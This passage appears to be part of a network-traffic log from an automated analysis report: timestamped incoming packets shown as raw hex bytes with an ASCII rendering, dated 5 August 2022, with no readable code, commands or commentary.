10 07 cb 48 8c 92 0c 29 b5 c2 8b d4 9e a5 8e 32 39 d5 7c 18 19 4e 82 43 a6 08 4a 49 ef e5 68 3d 0e 3b c4 a3 16 62 Data Ascii: nd5^Y2Il-(H03Fvluf`@a}Z',=5.p,=!>:[,`t<~L\|y//sywNS}d-ry-z]n[r&@yY?$gGRU7:cx@O=A]12/#9WWvjYIH)29\|NCJIh=;b
2022-08-05 09:32:58 UTC	116	IN	Data Raw: 28 05 45 0f fe a8 a0 80 74 89 c3 d0 c1 0c 86 2d 13 29 4b f3 0d 8a e0 0b 6b b8 67 8f c3 8b d5 1c 76 c1 28 4d 12 40 d0 f4 03 7d 29 f6 b6 97 58 e5 4c d6 80 28 f0 22 33 f9 83 8d a6 5d a6 0d 33 fb 0d e0 53 cd 97 b3 7d 95 89 e2 3d 2b ed 27 37 d1 f2 53 a6 24 87 be 90 49 3c 2e 58 48 ea e8 86 79 4e 96 d8 4b a1 3f c2 8a f6 13 6f 21 6a 5a 29 23 39 af e5 5f 08 5f 2e 92 f2 c0 28 c7 9d ab 5c e5 a3 50 70 cb 3d 75 bc 8e f3 32 16 66 a6 6a 8c 51 8f 17 01 d4 6b 8d 7b 47 23 be 9b e9 cd 14 27 55 c0 74 02 10 a5 e6 bd 87 56 9b 00 29 ad 85 bd 91 08 6a fc 67 15 9e 46 a8 97 fb a8 91 1d 93 d2 29 a3 6b b5 04 9c 07 a7 db dc 60 23 de 21 2d 6a 15 4e 8a ec ba cc 4e 85 51 07 55 7d 5a a3 8e c2 03 95 a3 14 f1 bf 9e 54 3a 65 58 71 1e 63 9c 1c 71 2c f0 a8 18 dd f6 89 cd a0 e5 16 01 7b 5b f2 Data Ascii: (Et-)Kkgv(M@})XL("3]3S}=+'7S$I<.XHyNK?o!jZ)#9__.(\Pp=u2fjQk{G#'UtV)jgF)k`#!-jNNQU}ZT:eXqcq,{[
2022-08-05 09:32:58 UTC	117	IN	Data Raw: 0c 28 ad d8 8c d5 8a a6 8e 77 35 c9 e1 94 0e ce 1e 40 ba 94 ac 40 ec e9 67 33 92 ee d1 2e 01 78 0e 86 80 f4 ca 30 fb 96 56 7d 67 98 a8 5f f7 82 28 bc 2c 12 9c 16 1c c3 f5 95 af 9c ce ed f9 ab 26 cb 54 70 3f f2 4f 26 81 4b 1a de 59 d4 9d 0a cd f0 2a 1b 63 e2 52 ed d0 99 3d ce 1f a8 57 03 05 08 5a e9 32 33 1d af 1a 9e 40 6f f3 7c 4d 5f aa 6d f3 11 cb 63 f0 15 1f dd b8 3b 54 8c e4 0e e6 75 c7 bf d2 4d 21 df cb e4 5b c2 ab 70 65 fb e7 d9 41 de 44 b4 f1 c8 e7 0f 94 97 af 33 98 37 8c a9 25 b4 6e 54 c3 ef cb 75 fa 0b 6c 2e ca a1 55 1a 61 df 25 5f 40 be 00 30 42 ed 96 51 8c 0a 75 c6 a5 60 00 16 82 c6 bb 03 d7 cd 55 7d 45 a0 82 48 dc cc 34 f5 41 d4 cb e1 18 1c 16 65 e5 0b 90 90 cf cd 62 9a 8b f5 f5 6a a7 c1 bc 67 68 d6 49 94 98 af f7 8d 32 27 78 fc a9 6b 2b ca 79 Data Ascii: (w5@@g3.x0V}g_(,&Tp?O&KY*cR=WZ23@o\|M_mc;TuM![peAD37%nTul.Ua%_@0BQu`U}EH4AebjghI2'xk+y
2022-08-05 09:32:58 UTC	119	IN	Data Raw: 5b e2 ec 7e 86 5e e3 71 7b 02 37 14 65 6b 94 13 59 20 fa ac 11 d4 e5 e0 c4 a8 d9 4d 70 00 3f 90 b7 de ef de 7e 3f 9e da a2 dd c6 91 46 6f 8c 9b 98 bd e3 7e 58 76 97 ab 8f 8a bd d6 05 f9 71 41 15 ee 99 2c 59 fe 8b f3 5f 0f 6b 18 4d 81 67 64 35 1b 04 47 e9 4c e5 ae ae cb 8d cd f6 87 60 30 09 ed 29 db 11 93 e4 6c f1 71 ba 2e 8c 7a e3 c1 9c b8 6d 0b bf 99 87 6d 75 5a f6 13 ac e0 1e 2b 92 b8 66 c2 fa f5 2c e8 96 3b e7 0a 34 cd 3a 0c c1 b6 97 d7 54 20 24 82 e6 ac cd 9b 80 05 26 6b d0 58 92 71 32 f0 3a 74 70 b0 63 c6 cf 74 e2 5e d7 66 a9 08 f0 b6 6e 86 05 37 73 75 73 b1 9e 9b b9 c7 1a 2e 2d 67 d2 07 32 39 d1 ee f1 0b 90 da 12 71 9a 87 75 f1 20 03 d5 53 74 da 77 12 4e ad 44 2b f4 3e 03 04 e8 6e 8d 06 71 5e a2 89 32 b3 0a a7 ab db 4c 7e 43 4b 3e 4d d5 6a dc 2a f6 Data Ascii: [~^q{7ekY Mp?~?Fo~XvqA,Y_kMgd5GL`0)lq.zmmuZ+f,;4:T $&kXq2:tpct^fn7sus.-g29qu StwND+>nq^2L~CK>Mj*
2022-08-05 09:32:58 UTC	120	IN	Data Raw: 1a d0 96 cf cc 6c 8b 88 1b fd 6d a3 ef ae e6 71 de 54 9a 9e af f5 90 3c 29 76 e5 ae 60 29 d7 7c de 5e be 78 2f 6e 05 e7 28 83 42 a2 0b 22 7a ea 5c ad 9d b1 8e cc a4 56 27 b6 4b b0 de b1 35 43 5a a5 ff 9c 88 c9 e1 96 c3 a3 35 44 20 f0 38 63 2e 6b f1 0c 98 9f ce 69 96 07 8b d1 0a f0 0e f6 21 3a cc 0b 52 a9 e8 0a 5d 2b f7 a4 17 b8 f7 cd cf 83 2e ed 2b 31 ff 8a 8a 86 5f a7 11 21 78 28 e7 73 cf 96 af 6f 14 84 e6 3b 3a 6c 33 33 d7 e3 d2 be 20 81 af 11 55 38 2f 58 48 ea eb 98 78 46 9e d9 4b a0 3f c2 8a f6 13 69 01 6b 5b 38 a3 f8 b8 e4 5f 02 12 57 c6 97 ad 58 ab fc df 39 e2 9b 7e 40 e5 0d bb 8d 8e ff 37 36 64 33 53 82 54 8e 17 01 d4 6b d5 7a 47 3a ed e2 9a b9 71 4a 7b 97 1d 6c 74 ca 91 ce a9 10 f4 72 44 de ab fb fe 7a 07 ee 24 67 fb 27 dc f2 a4 f7 d8 73 e0 a6 48 Data Ascii: lmqT<)v`)\|^x/n(B"z\V'K5CZ5D 8c.ki!:R]+.+1_!x(so;:l33 U8/XHxFK?ik[8_WX9~@76d3STkzG:qJ{ltrDz$g'sH
2022-08-05 09:32:58 UTC	121	IN	Data Raw: 30 24 77 c4 23 81 9a 20 d5 b0 d4 d7 b1 b7 2d 13 07 5a d9 96 5a 5c 86 81 6f 96 b3 bf 9f a5 82 d4 21 97 90 06 ce 56 31 da c4 83 b1 ab 02 6f 6f 86 32 1e be 29 97 a1 36 63 39 1c c9 ae f8 ba 8d 60 63 8d df 20 c4 fd 8a 07 1f c9 bc 59 00 07 41 f7 ef 56 a9 cf 92 5a e5 36 1f f9 67 01 f5 a9 be 92 2d 42 7c 87 46 64 26 57 fc 47 0b f7 16 61 69 87 30 07 41 ab 98 ca 36 45 26 fe 5f ef da 73 34 5c 9e fa 7c 64 ca 23 60 c9 cb 89 5e 70 1e 34 ff 3b f4 9b 74 c8 a7 a9 83 13 55 b1 88 26 c1 b0 37 8a 91 fa 9a 45 c4 71 53 9e 80 92 03 80 02 9f 1a 1c c9 65 bd 17 0f 53 b4 a9 a2 e3 3a 30 11 b2 7c 39 83 73 ec 5f a9 9c 60 0e 43 2d d3 86 75 4d 84 40 32 e2 5f 1a 46 a7 48 af 92 70 ad 57 13 55 62 f7 12 46 6a 26 7c bd fd d8 d5 4b c6 16 29 7e 13 5d 12 de fc 5d f3 d3 4e 42 9d 59 ea 41 3c d0 e2 Data Ascii: 0$w# -ZZ\o!V1oo2)6c9`c YAVZ6g-B\|Fd&WGai0A6E&_s4\\|d#`^p4;tU&7EqSeS:0\|9s_`C-uM@2_FHpWUbFj&\|K)~]]NBYA<
2022-08-05 09:32:58 UTC	123	IN	Data Raw: 60 a3 62 1f e9 cb ef 4f 88 25 7a 03 28 7e 95 b5 1a 69 b3 94 93 d2 17 eb 43 51 d6 9d 26 4b ad 78 ba 59 b9 d1 84 d8 d0 af e3 49 b7 23 fc 8c c6 e0 b8 da db 59 c8 c5 08 3d 79 32 62 3e 0e d1 d1 40 08 6c 41 3a 20 87 08 0f 04 fe 23 16 c3 a1 bb 75 1e fb bd 73 5a d0 e5 c6 45 81 99 16 1a 2c bf 54 e9 99 16 bd 81 44 ac 30 f5 48 cb 81 04 28 94 d7 e0 40 5c fe b5 fe fa 23 a9 cc dd ec a9 4c 02 62 8a 3c 6f 04 c6 1a 2f 6e 90 bb 07 e9 3a 2a 91 cc 46 06 53 d6 8a 2f e4 ac 85 94 57 0e e0 4a 2b f7 eb f7 2d 30 ef bb ce 4a d7 48 af c5 40 3f a5 d0 e4 4e 3e 01 88 47 75 98 b3 ed 82 1b 6a 1f e7 14 ac c5 1a f5 68 4b 3a 6c 95 72 fb 04 d9 b0 3a 3e 59 9e 82 43 69 bc 61 be 5a 80 72 36 e9 dd 1a fa 70 73 f8 08 f2 f0 e6 7a d1 f0 15 e3 fd 92 e7 b2 2e b2 68 a4 c0 e3 c3 20 1d 47 47 56 f6 75 2a Data Ascii: `bO%z(~iCQ&KxYI#Y=y2b>@lA: #usZE,TD0H(@\#Lb<o/n:FS/WJ+-0JH@?N>GujhK:lr:>YCiaZr6psz.h GGVu
2022-08-05 09:32:58 UTC	124	IN	Data Raw: 2c 0e 1f 19 94 43 d6 c7 c6 08 d0 89 27 49 97 a6 c6 ce 25 fc f4 7d 17 42 02 d7 2c d4 96 2a 4a a2 d0 38 23 4e dc fa 26 85 14 7e b8 df 15 9e 79 43 a5 5a 95 d1 27 98 43 00 db 7e 60 d8 28 6f 49 91 5d de 26 61 43 a2 20 7b c4 41 03 28 20 cd 15 d6 8f a5 af 56 62 9b 92 c0 6e e7 a9 8d b9 ae 7a 30 ae 2c 3c 0b c2 e5 f1 09 4b 74 9d d6 25 51 58 77 5b 2a 56 f2 48 4c e8 99 75 7e 5a ec 1f 63 67 c6 67 03 d3 17 83 4b ab 49 ae 35 09 2d 43 60 4d 90 9f e1 ea 16 00 37 50 17 e5 17 ee da 8f 97 41 d5 37 d9 cf 4e de 49 19 f0 f6 32 82 20 03 77 89 f8 a1 1d 75 eb 21 18 2b 8e 99 dc 46 18 4d 9c 85 41 52 bf 55 d0 f5 e5 a5 ca f4 c2 e0 2e 94 b4 a5 0a 6f e1 9e 5b 60 a8 82 9c ed d7 e0 b9 ae d9 e5 0e 25 59 78 50 6c 0d 6d 39 37 79 ed 75 b7 46 94 47 d8 a0 2e 3f 94 36 0d 07 d4 7c c8 e8 2a a6 67 Data Ascii: ,C'I%}B,J8#N&~yCZ'C~`(oI]&aC {A( Vbnz0,<Kt%QXw[VHLu~ZcggKI5-C`M7PA7NI2 wu!+FMARU.o[`%YxPlm97yuFG.?6\|*g
2022-08-05 09:32:58 UTC	125	IN	Data Raw: f0 7c d8 d5 55 9a 75 82 5c 3d bf 7c 06 61 47 ba e8 3b e9 f8 9f ca 2c ac 8f d4 14 65 e1 aa 9e ca 10 71 2f 95 fd 11 d9 ba 94 48 bd 7b 79 0e 59 43 48 58 f7 89 4e 1b 84 af 44 9e c3 9e b8 3c ee d9 eb ab 65 54 cf 03 00 ab 63 ab 1f 1c d9 64 5b 9c 73 63 f7 6f 7f 1c fd 36 dc 45 3f ab c4 e2 63 cf 24 70 99 2e c2 94 34 12 de 8b 78 3d e7 a1 26 a7 55 cf ad 38 bf bd d9 d0 c5 ea d0 9b 04 91 ed 58 c2 c6 14 b6 3b 4e f2 af 3e 88 6e 76 79 44 6f e4 b6 8d ee 6d 40 f1 3a f9 7f c9 d2 c1 26 f8 29 1b e8 f4 58 88 23 95 52 b7 49 bf d4 65 a7 38 8a 48 a4 59 c6 57 3c f2 51 17 c0 82 22 fa f1 2f 3d f0 15 29 16 d2 e1 f4 23 b8 9c 35 a7 6d 9e ef 13 a5 22 9f 6b de 07 43 c2 57 3f 9c b4 ff 80 11 5c 15 1c d4 9b b2 81 4b 18 8d 66 db 66 f7 9f cb 6e 5e 46 7b 9e 43 d2 06 ab 69 d0 bb 08 a0 d3 dc 32 Data Ascii: \|Uu\=\|aG;,eq/H{yYCHXND<eTcd[sco6E?c$p.4x=&U8X;N>nvyDom@:&)X#RIe8HYW<Q"/=)#5m"kCW?\Kffn^F{Ci2
2022-08-05 09:32:58 UTC	126	IN	Data Raw: be 4e bf dc b3 c3 4a cc a5 ea 95 cb 61 49 51 1d 01 b5 0e ae f9 2e 96 19 5b 5d 96 63 b9 10 ae be 17 85 cf a6 0a 27 88 d3 d2 d3 43 6b 92 a8 da 34 f6 b1 1d 09 a1 ac d7 26 b7 bb e1 db d9 c3 79 8e 86 73 8c 23 cf c0 ba 08 6e 38 e1 7c cf 3e 58 30 33 c4 6a d5 33 f5 92 b9 da 30 2a 81 00 27 f3 5b 9e 69 17 e9 22 f5 e1 f4 b8 2d 49 17 9e 2d e6 4f 18 88 d1 f2 99 c6 97 93 9f d0 bc 34 24 48 57 19 5d 6a 6a ca 4b 95 dc 83 9f d1 c6 fe d8 66 69 8f 41 20 c1 f3 e4 88 2d 68 43 2c fd bc 75 27 d0 c4 33 15 ae 04 15 be 58 f3 65 1c 81 0a cb 6e 15 67 05 b2 77 bd f4 b9 f0 fc 34 fb bc 7d 5d 45 82 22 32 59 4b fc 8c b6 b7 0e e6 eb 06 af b2 d1 92 5e 0f 9d b0 1b b0 a3 eb ec 7a fb 68 40 7b 0f a0 e0 a6 80 5b 8d 83 0e a9 e8 73 7f 46 b4 aa 17 9b 8e 9c 78 0c 13 a3 b9 3e d8 11 22 a8 7e b7 5e e6 Data Ascii: NJaIQ.[]c'Ck4&ys#n8\|>X03j30*'[i"-I-O4$HW]jjKfiA -hC,u'3Xengw4}]E"2YK^zh@{[sFx>"~^
2022-08-05 09:32:58 UTC	128	IN	Data Raw: de 62 8c df 43 8b db 4c 88 24 90 79 f4 4a 1d 2a ec e5 28 51 59 b2 70 e9 2b a1 2e 2f 39 eb 5f 7b ac d0 ed ae 21 f3 91 32 e5 a3 c9 ff b0 0e d3 99 d6 09 5a 4f 19 60 ea d5 d3 5d d1 11 54 a1 ed c6 bb c6 a7 96 fc f1 fd fd 1d ad 86 07 c9 1d 4c 9a cf 99 6c fe e3 43 70 3e 65 d8 c4 24 83 61 55 43 dc 55 9f 31 ea fe c5 eb 1f 92 28 2d a1 8d 50 ae 8e 97 33 7a 6f 51 b4 40 b7 6b 28 26 0c f4 36 79 ba 8d 15 bd 1a 24 44 68 66 99 63 99 ba 11 08 15 db 68 9c 2a 4c 3c 06 a0 f8 61 c3 6c e9 28 41 e8 aa d2 9c c8 f1 34 de f0 95 76 23 0a b1 d0 95 8f 28 df ee d1 f7 0e d5 05 1f e6 26 af a1 f3 05 51 bf e5 84 fe 86 65 3a 2c 1b 71 6d 2e ce ad 7f 21 0e 34 65 40 1d 71 07 a9 96 08 10 37 c1 dc de da 23 2f 07 f7 0b 20 98 23 68 dc b9 01 a9 e6 91 0c 39 f9 4d 84 d6 e5 24 b6 23 a8 38 c9 8b 25 92 Data Ascii: bCL$yJ(QYp+./9_{!2ZO`]TLlCp>e$aUCU1(-P3zoQ@k(&6y$DhfchL<al(A4v#(&Qe:,qm.!4e@q7#/ #h9M$#8%
2022-08-05 09:32:58 UTC	129	IN	Data Raw: e3 b7 40 11 2d 51 c3 68 1f 3e 4f b3 fd 23 71 cf 2d a3 91 bf 3a 27 bb c8 e9 7f e4 2c 49 1d 20 42 2b 0a 38 9e 66 b3 18 e4 ce 59 23 06 e9 02 c6 71 5f 5c 66 5e a7 9d 5f e4 6f 62 b6 2b c8 6b 95 f9 1f 1e 09 d3 fc 04 60 e4 85 9f 8a 0e 8e da 31 ab 72 c2 6f 18 f4 2e f0 68 98 73 9c e5 9e de fd 5f e2 b5 21 c7 e8 c1 a5 c9 67 89 85 ba b0 9f bd be 4c 6d 35 f5 85 c2 8f 56 3d b8 3d 3c 1f 03 74 ed 5e 75 97 81 26 98 70 ba 08 23 c4 46 c3 e3 16 5b 83 47 64 b0 cf f1 fd a6 0d c6 96 17 b6 14 e9 9f c5 e6 14 5c de f7 f0 46 ef 9b 6a ea 70 c2 64 c0 1a d3 de a8 05 c4 6b c9 92 e2 71 bf 09 d2 de 9c d9 e2 3a 14 ea ec 33 89 4b 73 b3 1d 1d 56 53 f5 0c 79 7f f1 7f ac 08 3e 22 a5 dc 03 c3 26 0c f5 6f 3e 6d c8 65 42 b7 a3 a1 b6 93 20 2d 38 de c9 dd 00 ec ae 8c 9b 54 69 b0 a0 74 74 0b 3e 67 Data Ascii: @-Qh>O#q-:',I B+8fY#q_\f^_ob+k`1ro.hs_!gLm5V==<t^u&p#F[Gd\Fjpdkq:3KsVSy>"&o>meB -8Titt>g
2022-08-05 09:32:58 UTC	130	IN	Data Raw: 5a ea 5a c9 ef bf 9a 79 fa 0c 2b 18 b3 7c 23 5b 71 a3 26 28 d5 b9 e5 be 8e 54 e7 13 d5 4a 6b b6 3d 78 c6 20 17 74 32 dc 0c b2 99 c8 7c a3 02 7f 20 59 f8 59 d6 86 e4 90 6a 6d 85 9d 74 54 da 12 83 64 da c5 6e 3a e0 ed 1a c6 06 d7 e3 17 bc b4 3e b7 b6 8f b9 db da 24 e2 af 79 b5 11 28 32 6c e3 f8 a9 5c 24 e6 7a 5d e7 6b 6a f3 1a c1 66 f7 37 73 29 9a 07 c8 f2 6b 72 3c c9 5f 0a 64 99 d8 43 fe 33 15 e3 40 59 26 88 8d 35 e0 3b db 61 b7 7b 6a e4 41 87 8e 27 82 0f 02 4f 31 2b 5d 67 b1 cd a0 f7 dd 8e 4c 8c 52 91 64 15 73 d0 fc ce 93 63 57 f0 05 be 4d 01 2e fc 10 bd fe 95 2f 18 e1 90 08 2f a1 7b b1 9b 19 e2 d0 fb f7 e2 c4 17 d4 5e 35 8d ea 88 2b c2 df 18 9d 20 ba 14 e0 ab e9 93 4c 3f 7f 72 51 7c a3 8f 4b 04 4f 9c 1f 22 8e 4c 3c 59 dd 9f 94 d4 06 5c f6 67 a3 a9 22 01 Data Ascii: ZZy+\|#[q&(TJk=x t2\| YYjmtTdn:>$y(2l\$z]kjf7s)kr<_dC3@Y&5;a{jA'O1+]gLRdscWM.//{^5+ L?rQ\|KO"L<Y\g"
2022-08-05 09:32:58 UTC	131	IN	Data Raw: 2c 05 5b a3 8b 48 d8 3a 2f 1c 51 12 cd b6 9e 83 c1 dd 6c ec bf c9 93 5b a9 98 46 ad a9 cf 33 0d c6 0e 52 20 ec 8e a8 db 16 ce a8 e7 44 1b 30 cc f4 22 0c f7 33 b5 b7 c4 ad d5 b5 b7 b7 e6 9d 85 5f 70 74 e3 ec f3 ee 47 ed 20 db 1d e9 3c fd 0b d6 3c 16 56 7d 13 57 84 57 a9 9e 75 d4 f0 b5 5e c6 e7 27 3e 8e cd 15 f3 24 2a 74 9b d1 42 f6 d7 5c ae ad b2 8b 31 b0 99 e9 f3 2c a4 bf c2 fa 81 30 8a cb d7 bf 37 cb 8c 1b 60 18 51 80 46 16 b1 86 d5 fb be 21 ca 16 07 1c 2c 14 8c 2c 83 81 35 ed ed 9b 22 c6 8c 62 63 2d 33 c5 f4 31 11 3d 99 d6 72 56 32 d8 94 da 13 a8 9f 0e 3e 44 75 f3 65 52 fd 8d aa bc 52 66 46 09 5d 34 bf a6 5b 06 76 e5 ed e8 e1 d4 c6 6d d1 58 6a f8 17 43 4e 02 c6 7c d6 d0 1d fd c7 46 ae 17 88 f1 64 3c 56 f8 82 97 ed 73 b3 0e 9a 13 f3 3d c1 47 03 88 e5 01 Data Ascii: ,[H:/Ql[F3R D0"3_ptG <<V}WWu^'>$*tB\1,07`QF!,,5"bc-31=rV2>DueRRfF]4[vmXjCN\|Fd<Vs=G
2022-08-05 09:32:58 UTC	132	IN	Data Raw: ed 86 a1 60 13 fc b8 ce 22 7e 17 ce f0 80 9a 1a 8f dd b1 65 1a 91 5f 6a 81 1b 7a 90 e7 b9 ab 07 4d e9 df c8 d3 f4 59 1d 50 16 c0 93 f0 bd ac 09 e2 a1 c6 5c 24 38 89 48 99 19 ef 2d 50 02 21 3d 93 74 6f 20 9a db eb 76 9c 02 6f 5b 2a 31 b8 10 68 71 33 d5 47 77 84 c2 76 98 13 1c 3d 09 9e 17 41 b0 03 7b b0 7c 72 3e 25 6a e8 20 d1 ad 31 03 a1 97 71 cf 5a 3d 1d 98 63 fa 87 10 97 2f d8 37 a0 4d d2 b8 ae 6a 88 8f 62 91 0f ef 80 38 e2 a5 98 e2 b8 5b 7b 65 88 ce 00 00 59 45 d0 25 23 0c a9 cd dc 01 3e 86 9a da 31 ca af 56 d2 1f 96 da 16 d1 0e 14 15 46 b7 ef 08 5f 59 52 65 fa 87 79 c4 6a 86 db 2d d6 bc d5 53 de 9d 0a df ef 13 97 9a 15 90 15 96 e6 c2 f1 f5 98 76 16 e2 1c 8c be b4 45 13 09 96 04 b5 58 7f 0d 9f d3 99 3f 8a 08 20 8b 91 aa a6 a0 b0 79 cf 5d 85 43 40 ff c7 Data Ascii: `"~e_jzMYP\$8H-P!=to vo[*1hq3Gwv=A{\|r>%j 1qZ=c/7Mjb8[{eYE%#>1VF_YReyj-SvEX? y]C@
2022-08-05 09:32:58 UTC	133	IN	Data Raw: 96 05 2c 73 9e 67 14 47 65 fb 4b 71 d8 7b 94 bc aa b2 7a 19 05 e4 e3 5d 10 98 a6 74 c6 25 a5 76 25 af 3c 8e 7d 2f eb fc 1e b9 83 f2 01 ff 1b a1 73 00 a2 1c 50 bb 9c 92 78 a8 c1 c3 bb 9a ae 3c 4f 5d 47 97 44 9e 01 37 36 73 72 88 b3 a5 d1 cc a9 d2 36 07 30 e6 52 18 9f 32 1b 03 a9 cb 7f 04 87 15 ea a6 64 2c 3c 4e 2d 9a 1f c1 dc c7 67 17 cf 3e 3b ec d5 94 d4 12 cc 9d 98 2a 9f bb 86 59 80 de 88 bf 94 02 1e 8d 0a a5 96 8b d2 60 51 6d 7f bb 06 a7 9e 93 e1 63 93 b7 d2 43 1b 73 9e 29 2a 70 b1 bb b0 68 a0 56 78 ec 4e 27 21 91 a1 ca 13 64 72 f2 c9 e7 07 2c 03 d6 43 c7 92 fe 32 ca ce 2d 09 45 55 2c 22 1f 03 38 f3 ee 66 bd cb 34 f3 08 2d ea 14 65 1a e6 c5 0c 22 15 33 ce e9 65 87 a4 86 bd d0 84 22 73 bd 01 10 09 27 2f c2 97 85 36 d7 b0 21 ba 5e 48 a6 79 ee a4 dd 99 f3 Data Ascii: ,sgGeKq{z]t%v%<}/sPx<O]GD76sr60R2d,<N-g>;Y`QmcCs)phVxN'!dr,C2-EU,"8f4-e"3e"s'/6!^Hy
2022-08-05 09:32:58 UTC	135	IN	Data Raw: 45 e1 66 05 a4 ae 70 94 71 a7 fc ff 47 f6 df 41 d6 da 51 21 97 27 24 af 00 15 35 a9 a8 87 83 e6 81 fb c0 45 b6 30 8d 77 ff 07 5e 2e ac 5c 51 d6 bd 16 9d 96 1f ef 69 34 5a bb 85 03 d2 28 cd 7b c9 2a ad 21 4b 71 e3 1d a5 d0 63 96 95 62 0e c0 23 1a a3 6a 49 16 d2 56 a6 45 2b 05 25 66 20 fb ee 40 ea e0 5b 58 1a 80 35 9c 9b cd 59 21 30 e6 28 28 db 81 77 c0 92 c5 16 e8 d9 ea 10 46 31 29 d8 d9 58 ed 7b 3f 4f ea 9c 5d bb 8c eb d4 be 54 15 a9 1a a1 41 c5 8b 1d ef 33 8c 3c db 24 6f da aa ba 35 ce 4b ec db db 6d 45 ef e0 39 76 49 2e 7b 1d 78 a1 d7 3c 69 5b da 41 65 4c 24 66 2f b3 d2 c9 33 a5 16 ad 3d f7 fe ad 1a 8e 56 ed 79 a6 69 ce c5 b1 54 02 6b 5d 0a aa 09 b3 11 d2 6d 32 ac e8 7f dc c6 5a 5d 8d 9f 6e 6c 9c e4 04 a6 07 98 40 c2 8c 36 a1 4b 60 49 88 b7 e1 d3 5f 97 Data Ascii: EfpqGAQ!'$5E0w^.\Qi4Z({*!Kqcb#jIVE+%f @[X5Y!0((wF1)X{?O]TA3<$o5KmE9vI.{x<i[AeL$f/3=VyiTk]m2Z]nl@6K`I_
2022-08-05 09:32:58 UTC	136	IN	Data Raw: 40 99 bf 8c 33 d8 44 7b d0 06 ba b3 18 3e 67 28 4f 1f a5 be a5 f4 40 25 27 b3 d2 88 a7 b3 77 da a7 0c c0 6d 3c b0 33 e5 e5 3f 81 d9 ad 79 b4 91 cc fc c3 f3 17 e6 bd 53 1c 43 ac b3 7f 75 e0 32 94 b5 67 67 c8 2b e1 18 96 7b 85 d7 2e 74 fd 55 a3 9b 41 24 95 88 10 26 13 e9 21 8c d6 60 e2 ea 7d 69 08 b5 0d 7f 95 44 f3 0f 3b d4 02 a0 86 42 b5 c6 ad ce 32 74 bf 36 2f d1 86 a4 e7 53 50 5f 0d 34 7d 08 38 81 86 2e 2a f4 2b 6c ec ba 3a 53 d1 af 59 57 f3 0b 9e 84 7c 0d 85 7b 54 51 c3 d4 96 9e 67 5e 74 fe 13 3a 71 09 0d eb 4e ca ec 85 85 da bd 69 c1 03 b9 95 12 57 9e 4f 80 9b 13 fd dd 68 3a 5a 9c f1 ad ac b9 ab 91 0e fe 6d d4 5b 85 c7 5f 1f 50 ed 01 81 76 4b 78 8a fd ae cf 3a 61 da 67 79 fc 18 b9 67 42 7d 10 1d a1 90 d2 b5 a9 c0 aa 0f 81 be de 81 25 16 fb 7d 37 17 f8 Data Ascii: @3D{>g(O@%'wm<3?ySCu2gg+{.tUA$&!`}iD;B2t6/SP_4}8.*+l:SYW\|{TQg^t:qNiWOh:Zm[_PvKx:agygB}%}7
2022-08-05 09:32:58 UTC	137	IN	Data Raw: dc 26 06 9c c4 96 5d 0c c3 0e f7 64 eb d6 e4 30 97 c2 08 23 28 6d 68 2c 43 3f 5f 3e a9 9d a1 34 9e 2e 6f e4 a3 ee 72 bb bf 50 fe 08 0d 95 c5 09 69 76 00 da 11 3d 8d 69 da 8d d5 06 5a 13 27 6e 81 5e 40 ef 95 b4 6b 50 79 74 1a 4b c9 11 d8 de 88 aa aa 72 61 d3 6f 97 26 ad 90 2e 3c 60 b0 bd 37 0b a8 ec 65 0e 62 7b 1c 59 f8 38 7e ed 22 04 3b 4a b4 c3 5c e4 95 b9 10 db b8 23 ea d4 24 18 9d 64 65 60 26 29 bb 13 3f 1c e2 8f 50 8e 79 eb a1 f0 9d 5a 2d 26 aa 2e b5 d6 40 d1 8f 2a 21 9f 7b 32 f4 ba a7 77 64 c5 ba 01 ba 9e ea 31 c4 64 89 b5 28 9c 26 73 6d b3 1c b3 21 74 13 67 c3 ef 3d e1 e3 67 5f 3a dd af c6 26 2d ae 25 eb 42 cf cb d5 c7 7f fb 29 3e fa 95 95 bc 45 fc 4a 57 ba 9e cc f4 46 66 fe ac b3 fa 31 87 b3 08 41 fd ee c8 78 0a 10 27 d5 3a eb a5 a9 2f f2 e0 a4 a6 Data Ascii: &]d0#(mh,C?_>4.orPiv=iZ'n^@kPytKrao&.<`7eb{Y8~";J\#$de`&)?PyZ-&.@*!{2wd1d(&sm!tg=g_:&-%B)>EJWFf1Ax':/
2022-08-05 09:32:58 UTC	139	IN	Data Raw: 6d c9 5c dc 7d 26 c8 de 94 76 9f 9c 89 59 b4 c9 2d 18 45 ed aa 1d 8b 88 fd 51 c6 ce fa c7 a3 76 a7 79 35 cc 62 e8 46 6b 49 07 2c f5 38 c8 e9 c3 46 c2 2d 58 73 b5 e1 0f bc 97 ad 0c 1e 38 59 62 51 b3 c3 cb f6 8f 06 6f 9e 4f ce 86 d9 5e 2c 2f c7 6d a5 5b 4c 10 8e f0 58 c9 a4 4c 6e c6 59 c0 56 ed 0f 11 18 c8 02 45 51 49 36 f2 91 83 23 8b f8 04 81 ce 14 a2 9b 94 5a ac 9e 50 3e 55 83 81 f0 02 fe 86 5d 49 11 ae 4a ed 6f b7 13 72 34 07 4e 29 a2 4c 5e b6 ba 4f 50 72 62 3d c5 1b 70 d3 0d ee 51 6f 77 d9 5d 3d 9b b2 d3 76 fa 81 37 33 e2 7b ae 82 02 bd 40 ec 82 47 f0 75 6b be eb b8 7d 21 2b 96 b6 27 65 44 5a df b4 66 31 e7 cf b5 03 48 e1 8b cd 4c 4f bf b3 62 7f 19 64 6f f5 06 69 65 6e 50 d5 68 ab 9f f8 0d b4 20 58 91 e3 9d 76 64 d0 a2 a4 f6 56 43 04 b4 3c 77 b8 69 7b Data Ascii: m\}&vY-EQvy5bFkI,8F-Xs8YbQoO^,/m[LXLnYVEQI6#ZP>U]IJor4N)L^OPrb=pQow]=v73{@Guk}!+'eDZf1HLObdoienPh XvdVC<wi{
2022-08-05 09:32:58 UTC	140	IN	Data Raw: 0b 9e 18 27 86 52 5e b1 9a cf d8 7c 9f 5b eb d1 a8 36 be 9b a7 35 5c 44 c8 cf c7 05 82 b6 be ad c4 e2 f1 9b 3d cf dc 20 67 0b 31 60 a7 df d3 32 a7 05 ec 3c 56 8f fa cd 96 3f 9e 8c c9 19 cf f4 9b 01 2e 5f ac db 72 eb f2 e6 49 f0 18 b9 b0 3a 95 bc f2 ad 50 69 37 4c dc 67 6d 41 81 3a 16 84 91 3a fb ac 56 7e 57 9e ca 6d ee 40 4d 92 cb c1 a4 38 4d 08 86 2c c8 bf 17 d9 db f9 13 d7 b3 8d f2 45 48 f2 47 3d f3 0b 03 8f fd d6 59 82 c8 cf 56 4f c2 cb 33 c2 b5 0f 9c 50 71 05 8f c1 cd 57 9b 2b 45 d6 91 44 4d 53 65 bb e1 12 1b cd b9 06 55 18 3d ce 98 20 b9 0b 07 94 e1 29 95 8d 32 